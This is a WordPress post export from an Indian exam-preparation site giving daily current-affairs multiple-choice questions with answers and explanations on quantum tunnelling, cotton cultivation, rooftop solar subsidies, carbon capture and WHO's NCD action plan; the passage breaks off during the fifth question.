{"id":2534,"date":"2025-10-09T07:32:16","date_gmt":"2025-10-09T07:32:16","guid":{"rendered":"https:\/\/iasquest.com\/?p=2534"},"modified":"2026-02-11T18:51:01","modified_gmt":"2026-02-11T18:51:01","slug":"daily-current-affairs-08-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-08-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 08-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Which one of the following best describes the term \u2018Quantum tunnelling\u2019, recently seen in NEWS?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">(a) A phenomenon where two or more particles become linked, sharing the same fate regardless of the distance separating them. Measuring the state of one entangled particle instantly determines the state of the others.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(b) The ability of a quantum system to exist in multiple states at the same time. For example, a qubit can be in a superposition of 0 and 1 until measured.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(c) A quantum mechanical phenomenon where a particle can pass through a potential energy barrier that would be impenetrable in classical mechanics.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(d) A phenomenon where the wave-like properties of quantum particles, like electrons or photons, cause their probability amplitudes to combine, either reinforcing or canceling each other out.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Answer: (c) A quantum mechanical phenomenon where a particle can pass through a potential energy barrier that would be impenetrable in classical mechanics.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>In NEWS:<\/strong> Trio win Physics Nobel 2025 for building device showing \u2018quantum tunnelling\u2019<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Quantum Tunnelling:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>Quantum tunnelling is a phenomenon where particles penetrate through an energy barrier that they classically cannot overcome, due to their wave-like nature in quantum mechanics. <strong>Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li><strong>Origin:<\/strong> It arises from the probabilistic interpretation of the Schr\u00f6dinger equation, which allows a non-zero probability of finding a particle beyond a potential barrier.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Classical vs Quantum:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>In classical physics, a particle with energy less than the barrier height cannot cross it.<\/li>\n\n\n\n<li>In quantum physics, the wavefunction associated with the particle decays inside the barrier but continues beyond it, allowing \u201ctunnelling.\u201d<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Macroscopic Quantum Tunnelling (2025 Nobel Context):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>Demonstrated that quantum effects can manifest in <strong>macroscopic systems<\/strong> such as superconducting circuits.<\/li>\n\n\n\n<li>The 2025 Nobel Prize in Physics was awarded to <strong>John Clarke, Michel H. Devoret, and John M. Martinis<\/strong> for experiments showing <strong>macroscopic quantum mechanical tunnelling<\/strong> and <strong>energy quantisation<\/strong> in Josephson junctions.<\/li>\n\n\n\n<li>This discovery bridges the gap between <strong>quantum theory and real-world applications<\/strong> like quantum computers and quantum sensors.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Applications:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li><strong>Nuclear Fusion:<\/strong> Enables protons in the Sun\u2019s core to overcome repulsive forces and fuse.<\/li>\n\n\n\n<li><strong>Alpha Decay:<\/strong> Explains how alpha particles escape atomic nuclei.<\/li>\n\n\n\n<li><strong>Semiconductor Devices:<\/strong> Used in tunnel diodes and transistors.<\/li>\n\n\n\n<li><strong>Scanning Tunnelling Microscope (STM):<\/strong> Uses tunnelling current to image surfaces at the atomic level.<\/li>\n\n\n\n<li><strong>Quantum Computing:<\/strong> Basis for superconducting qubits and Josephson junctions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>Provides direct evidence for the <strong>universality of quantum laws<\/strong> at all scales.<\/li>\n\n\n\n<li>Forms the foundation for <strong>next-generation quantum technologies<\/strong> (computing, cryptography, communication).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Quantum related terms:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Qubit:<\/strong> The basic unit of information in quantum computing, analogous to a bit in classical computing. Unlike a bit, a qubit can exist in a superposition of both 0 and 1 simultaneously.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Quantum Entanglement:<\/strong> A phenomenon where two or more particles become linked, sharing the same fate regardless of the distance separating them. Measuring the state of one entangled particle instantly determines the state of the others.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Quantum Superposition:<\/strong> The ability of a quantum system to exist in multiple states at the same time. For example, a qubit can be in a superposition of 0 and 1 until measured.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Quantum interference<\/strong> is a phenomenon where the wave-like properties of quantum particles, like electrons or photons, cause their probability amplitudes to combine, either reinforcing or canceling each other out.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. Which one of the following is the context in which the term &#8220;qubit&#8221; is mentioned?<\/strong> <br><br>(a) Cloud Services <br><strong>(b) Quantum Computing<\/strong> <br>(c) Visible Light Communication Technologies <br>(d) Wireless Communication Technologies<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/2025-nobel-prize-in-physics-goes-to-trio-for-discovery-of-macroscopic-quantum-mechanical-tunnelling\/article70133992.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/2025-nobel-prize-in-physics-goes-to-trio-for-discovery-of-macroscopic-quantum-mechanical-tunnelling\/article70133992.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>2. Consider the following statements regarding cotton cultivation in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">1. The World Cotton Day which is observed annually on 7th October was officially recognised through a resolution of the World Trade Organization.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">2. Maharashtra has the largest area under cotton cultivation in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">3. Gujarat has the highest cotton productivity in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">4. Cotton is highly tolerant to both drought and waterlogging.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>In NEWS: <\/strong>Ministry of Textiles celebrates \u2018World Cotton Day\u2019 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>World Cotton Day 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li><strong>Observed on:<\/strong> 7th October every year.<\/li>\n\n\n\n<li><strong>Established by:<\/strong> United Nations General Assembly (UNGA) Resolution. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>First celebrated:<\/strong> 2019, initiated by the <strong>Cotton-4 countries (Benin, Burkina Faso, Chad, Mali)<\/strong> with support from the <strong>World Trade Organization (WTO)<\/strong>.<\/li>\n\n\n\n<li><strong>2025 Theme:<\/strong> <em>\u201cThe Fabric of Our Lives\u201d<\/em>.<\/li>\n\n\n\n<li><strong>Organisers (2025):<\/strong> FAO, International Trade Centre (ITC), WTO, UNCTAD, and the Republic of Chad.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Objective:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li>To highlight the role of cotton in <strong>economic growth, trade, and poverty reduction<\/strong>.<\/li>\n\n\n\n<li>To promote <strong>sustainable and inclusive cotton value chains<\/strong>, especially in developing and least developed countries.<\/li>\n\n\n\n<li>To raise awareness about challenges faced by cotton producers, especially in Africa and Asia.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Cotton Crop in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li><strong>Scientific name:<\/strong> <em>Gossypium spp.<\/em><\/li>\n\n\n\n<li><strong>Family:<\/strong> Malvaceae.<\/li>\n\n\n\n<li><strong>Type:<\/strong> Kharif crop (sown June\u2013September; harvested October\u2013March).<\/li>\n\n\n\n<li><strong>Climate:<\/strong> Tropical and subtropical; requires <strong>21\u201330\u00b0C<\/strong>, <strong>6\u20138 months frost-free period<\/strong>, and <strong>50\u2013100 cm rainfall<\/strong>.<\/li>\n\n\n\n<li><strong>Soil:<\/strong> Best grown in <strong>black cotton soil (regur soil)<\/strong> of the Deccan Plateau; also grown in alluvial soils of North India.<\/li>\n\n\n\n<li><strong>Irrigation:<\/strong> Moderate; sensitive to both drought and waterlogging. <strong>Hence statement 4 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Leading Producers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li><strong>Maharashtra<\/strong> (largest area under cotton cultivation in India). <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Gujarat<\/strong> (highest productivity in India). <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Telangana, Madhya Pradesh, Haryana, Punjab, Rajasthan<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>India\u2019s Cotton Belt:<\/strong> Divided into 3 zones \u2014<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li><strong>Northern Zone:<\/strong> Punjab, Haryana, Rajasthan.<\/li>\n\n\n\n<li><strong>Central Zone:<\/strong> Maharashtra, Gujarat, Madhya Pradesh.<\/li>\n\n\n\n<li><strong>Southern Zone:<\/strong> Telangana, Andhra Pradesh, Tamil Nadu, Karnataka.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><strong>Q. \u201cThe crop is subtropical in nature. A hard frost is injurious to it. It requires at least 210 frost-free days and 50 to 100 centimeters of rainfall for its growth. A light well-drained soil capable of retaining moisture is ideally suited for the cultivation of the crop.\u201d Which one of the following is that crop?<\/strong> <br><br><strong>(a) Cotton<\/strong> <br>(b) Jute <br>(c) Sugarcane <br>(d) Tea<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2176028\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2176028<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>3. Consider the following statements with respect to PM Surya Ghar: Muft Bijli Yojana:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">1. It aims to provide free electricity to households by facilitating the installation of rooftop solar panels.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">2. Under the scheme, 100% subsidy is provided for solar systems up to 2 kW capacity.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">3. The possession of a valid electricity connection is one of the eligibility criterias under the scheme.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">4. As of January 2025, the scheme fulfilled its vision to supply solar power to one crore households.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>In NEWS: <\/strong>Over 5 Lakh Loan Applications amounting to \u20b910,907 crore Sanctioned by PSBs under PM Surya Ghar Muft Bijli Yojana<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>PM Surya Ghar: Muft Bijli Yojana:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-63\">\n<li>This initiative aims to provide free electricity to households by facilitating the installation of rooftop solar panels. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The PMSGMBY, the world\u2019s largest domestic rooftop solar initiative, is reshaping India\u2019s energy landscape with a bold vision to supply solar power to one crore households by March 2027.<\/li>\n\n\n\n<li>As of January 27, 2025, the scheme has already benefitted 8.46 lakh households through rooftop solar installations. <strong>Hence statement 4 is incorrect.<\/strong><\/li>\n\n\n\n<li>Under the &#8220;Model Solar Village&#8221; component of the scheme, the focus is on establishing one Model Solar Village per district throughout India.<\/li>\n\n\n\n<li>This initiative aims to promote solar energy adoption and empower village communities to achieve energy self-reliance.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Eligibility:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"397\" height=\"218\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-1.gif\" alt=\"\" class=\"wp-image-2536\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Hence statement 3 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>Subsidy Details:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-67\">\n<li>60% subsidy for solar systems up to 2 kW capacity. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>40% subsidy for additional capacity between 2 kW and 3 kW.<\/li>\n\n\n\n<li>Maximum subsidy limit is for 3 kW systems.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Key Benefits:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li><strong>Free Electricity for Households:<\/strong> The scheme provides households with free electricity through the installation of subsidized rooftop solar panels, significantly reducing their energy costs.<\/li>\n\n\n\n<li><strong>Reduced Electricity Costs for the Government:<\/strong> By promoting the widespread use of solar power, the scheme is expected to save the government an estimated \u20b975,000 crore annually in electricity costs.<\/li>\n\n\n\n<li><strong>Increased Use of Renewable Energy: <\/strong>The scheme encourages the adoption of renewable energy sources, contributing to a more sustainable and environmentally friendly energy mix in India.<\/li>\n\n\n\n<li><strong>Reduced Carbon Emissions:<\/strong> The transition to solar energy under this scheme will help lower carbon emissions, supporting India&#8217;s commitment to reducing its carbon footprint.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. Consider the following statements about \u2018PM Surya Ghar Muft Bijli Yojana\u2019:<\/strong> <br><br>I. It targets installation of one crore solar rooftop panels in the residential sector. <br>II. The Ministry of New and Renewable Energy aims to impart training on installation, operation, maintenance and repairs of solar rooftop systems at grassroot levels. <br>III. It aims to create more than three lakhs skilled manpower through fresh skilling, and upskilling, under scheme component of capacity building. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) I and II only <br>(b) I and III only <br>(c) II and III only<br><strong>(d) I, II and III<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2175815\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2175815<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>4. Consider the following statements regarding Carbon Capture and Storage (CCS):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">1. It involves capturing carbon dioxide directly from the atmosphere for use in industrial applications.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">2. Geological formations such as saline aquifers and depleted oil fields can be used for CO\u2082 storage.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">3. CCS can contribute to achieving negative emissions when combined with bioenergy production.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>In NEWS:<\/strong> Asia\u2019s carbon capture push may jeopardise global climate goals<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">A report by global science and policy institute Climate Analytics has warned that Asia\u2019s expansive plans for <strong>Carbon Capture and Storage (CCS)<\/strong> could lead to nearly <strong>25 billion tonnes<\/strong> of additional <strong>greenhouse gas emissions by 2050<\/strong>, threatening the <strong>Paris Agreement\u2019s 1.5\u00b0C<\/strong> climate target and locking the region into costly and uncompetitive fossil fuel pathways.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Carbon Capture and Storage (CCS)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">Carbon Capture and Storage (CCS) is a <strong>technology aimed at reducing CO\u2082 emissions<\/strong> from large point sources (like power plants and industries) by <strong>capturing, transporting, and storing<\/strong> it underground so <strong>it does not enter the atmosphere.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Note: <\/strong>capturing carbon dioxide directly from the atmosphere for use in industrial applications is known as <strong>\u201cDirect Air Capture (DAC)\u201d. Hence statement 1 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Key Steps<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>1. Capture:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>CO\u2082 is separated from industrial or energy-related processes.<\/li>\n\n\n\n<li>Methods: <em>Pre-combustion, post-combustion,<\/em> and <em>oxy-fuel combustion.<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>2. Transport:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">Captured CO\u2082 is compressed and transported (via pipelines, ships, or tankers) to storage sites.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>3. Storage:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-92\">\n<li>CO\u2082 is injected deep underground into <strong>geological formations<\/strong> such as:<\/li>\n\n\n\n<li>Depleted oil and gas fields<\/li>\n\n\n\n<li>Deep saline aquifers<\/li>\n\n\n\n<li>Unmineable coal seams<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Hence statement 2 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Objectives &amp; Importance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li><strong>Climate mitigation:<\/strong> Reduces greenhouse gas emissions to help meet <strong>Paris Agreement<\/strong> and <strong>net-zero<\/strong> targets.<\/li>\n\n\n\n<li><strong>Supports decarbonization<\/strong> of hard-to-abate sectors \u2014 like cement, steel, and chemical industries.<\/li>\n\n\n\n<li>Can be combined with <strong>bioenergy (BECCS)<\/strong> for <em>negative emissions<\/em>. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Challenges<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-97\">\n<li><strong>High cost<\/strong> of capture and infrastructure.<\/li>\n\n\n\n<li><strong>Energy-intensive<\/strong> process (reduces overall efficiency).<\/li>\n\n\n\n<li><strong>Risk of leakage<\/strong> from storage sites.<\/li>\n\n\n\n<li><strong>Public opposition<\/strong> due to safety and environmental concerns.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. Consider the following activities:<\/strong> <br><br>1. Spreading finely ground basalt rock on farmlands extensively <br>2. Increasing the alkalinity of oceans by adding lime <br>3. Capturing carbon dioxide released by various industries and pumping it into abandoned subterranean mines in the form of carbonated waters <br><br><strong>How many of the above activities are often considered and discussed for carbon capture and sequestration?<\/strong> <br><br>(a) Only one <br>(b) Only two <br><strong>(c) All three<\/strong> <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/asias-carbon-capture-push-may-jeopardise-global-climate-goals\/article70134208.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/asias-carbon-capture-push-may-jeopardise-global-climate-goals\/article70134208.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>5. &#8220;Global Action Plan for the Prevention and Control of Non-Communicable Diseases (NCD GAP)&#8221; is an initiative launched by<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(a) World Health Organization (WHO)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(b) United Nations Development Programme (UNDP)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(c) World Bank Group (WBG)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(d) Food and Agriculture Organization (FAO)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Answer: (a) World Health Organization (WHO)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>In NEWS: <\/strong>Only three WHO regions on track to achieve 30% tobacco use reduction target<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Global Action Plan for the Prevention and Control of Non-Communicable Diseases (NCD GAP):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li><strong>Origin:<\/strong> Adopted by the World Health Assembly in 2013 (Resolution WHA66.10) as a response to the growing global burden of NCDs.<\/li>\n\n\n\n<li><strong>Launched by:<\/strong> World Health Organization (WHO).<strong> Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li><strong>Extension to 2030:<\/strong> In 2019, the World Health Assembly extended the plan to 2030 to align with the 2030 Agenda for Sustainable Development and to intensify efforts towards achieving Sustainable Development Goal (SDG) 3.4, which aims to reduce premature mortality from NCDs by one-third through prevention and treatment.<\/li>\n\n\n\n<li><strong>Implementation Roadmap (2023\u20132030):<\/strong> Developed to accelerate progress on preventing and controlling NCDs, this roadmap outlines strategic directions and actions for countries to implement.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li><strong>Raise Priority:<\/strong> Enhance the political priority of NCDs in national health agendas.<\/li>\n\n\n\n<li><strong>Strengthen Governance:<\/strong> Improve national governance mechanisms for NCD prevention and control.<\/li>\n\n\n\n<li><strong>Promote Healthy Environments:<\/strong> Create environments that support healthy lifestyles and reduce exposure to NCD risk factors.<\/li>\n\n\n\n<li><strong>Universal Health Coverage (UHC):<\/strong> Ensure access to essential NCD services and medicines as part of 